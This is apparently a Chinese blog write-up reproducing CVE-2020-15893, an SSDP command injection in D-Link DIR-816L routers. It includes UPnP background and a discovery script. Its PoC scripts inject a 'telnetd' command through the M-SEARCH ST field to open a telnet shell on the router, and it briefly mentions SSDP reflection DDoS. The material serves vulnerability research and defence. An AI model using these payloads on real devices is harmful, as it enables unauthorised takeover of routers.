CVE-2020-15893 d-link upnp comma

2022-12-27  本文已影响0人  doinb1517

漏洞介绍

An issue was discovered on D-Link DIR-816L devices 2.x before 1.10b04Beta02. Universal Plug and Play (UPnP) is enabled by default on port 1900. An attacker can perform command injection by injecting a payload into the Search Target (ST) field of the SSDP M-SEARCH discover packet.

影响版本

2.06 & 2.06.B09_BETA及之前版本

CVSS:9.8 CRITICAL

背景知识

Upnp协议栈

UPnP全名是Universal Plug and Play,翻译过来就是即插即用,该协议的设计初衷是希望设备接入某个网络中之后,所有设备都知道新设备的加入,并且设备之间能够相互沟通,或者直接使用控制对方。
该设备基于TCP。UDP和HTTP协议,协议栈如下。

基本概念

重要协议

SSDP协议

SSDP为整个upnp协议栈中的发现协议,当设备接入网络是即会向网络中的某个广播ip发送SSDP数据包,通知其他设备自己的加入,而其他设备收到该广播数据包之后,会以单播的形式来响应这条信息。广播包发送如下:

M-SEARCH * HTTP / 1.1  
host:239.255.255.250 :1900  
MAN:ssdp:discover  
MX:10  
ST:ssdp:all

该数据包类似HTTP,又被称为HTTPU协议(即基于UDP的HTTP)
接收到的回复单播数据包如下:

HTTP/1.1 200 OK\r\n
CACHE-CONTROL: max-age=120\r\n
ST: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n
USN: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n
EXT:\r\n
SERVER: RT-N56U/3.4.3.9 UPnP/1.1 MiniUPnPd/2.0\r\n
LOCATION: http://192.168.100.1:24795/rootDesc.xml\r\n
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n
01-NLS: 1652586384\r\n
BOOTID.UPNP.ORG: 1652586384\r\n
CONFIGID.UPNP.ORG: 1337\r\n
\r\n

可以利用python模拟发送HTTPU的广播数据包,获取局域网内的UPnp设备信息。

import socket
import re

ANY = "0.0.0.0"
DES_IP = "239.255.255.250"
PORT = 1900
xml_str = b'M-SEARCH * HTTP/1.0\r\n' \
    + b'HOST: 239.255.255.250:1900\r\n' \
    + b'MAN: "ssdp:discover"\r\n' \
    + b'MX: 3\r\n' \
    + b'ST: ssdp:all\r\n' \
    + b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n\r\n'

print(xml_str)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((ANY, PORT))
s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
s.setsockopt(
    socket.IPPROTO_IP,
    socket.IP_ADD_MEMBERSHIP,
    socket.inet_aton(DES_IP) + socket.inet_aton(ANY)
)
s.setblocking(False)
s.sendto(xml_str, (DES_IP, PORT))
while True:
    try:
        data, address = s.recvfrom(2048)
    except Exception as e:
        pass
    else:
        print(address)
        print(data)
        print("####################################################################")

此外还可以利用SSDP协议进行反射型DDos攻击,参考链接如下:

https://blog.cloudflare.com/ssdp-100gbps/

漏洞复现

环境搭建

固件下载:http://legacyfiles.us.dlink.com/DIR-816L/REVB/FIRMWARE/

01.png

使用fap模拟固件,成功运行后访问192.168.0.1看到路由器后台页面

Github:https://github.com/liyansong2018/firmware-analysis-plus

2.png

poc参考链接:https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/

# python3
from socket import *
from os import *
from time import *
 
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST:localhost:1900\r\n'
payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n'
 
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(payload, ("192.168.10.1", 1900))
s.close()
 
sleep(1)
system("telnet 192.168.10.1 8888")

首先搜索ssdp相关文件,找到./htdocs/upnp/ssdpcgi,继续查看该文件发现是软链接

3.png

分析文件/htdocs/cgibin,漏洞点在ssdpcgi_main中,用户可控的参数为ST

4.png

函数lxmldbc_system将传入的参数进行拼接,然后执行

5.png

此处有三种参数组合都可以执行POC,并不限于参考poc中给出的那一种

from socket import *
from os import *
from time import *
 
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST:localhost:1900\r\n'
#payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n'
#payload += b'ST:urn:service:;telnetd -p 8899\r\n\r\n'
payload += b'ST:uuid:;telnetd -p 8899\r\n\r\n'
 
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(payload, ("192.168.0.1", 1900))
s.close()
 
sleep(1)
system("telnet 192.168.0.1 8899")

执行poc后我们即可通过telnet连入路由器中。

6.png

规则防护

72.png

参考链接:

1、https://forum.butian.net/share/1827

上一篇下一篇

猜你喜欢

热点阅读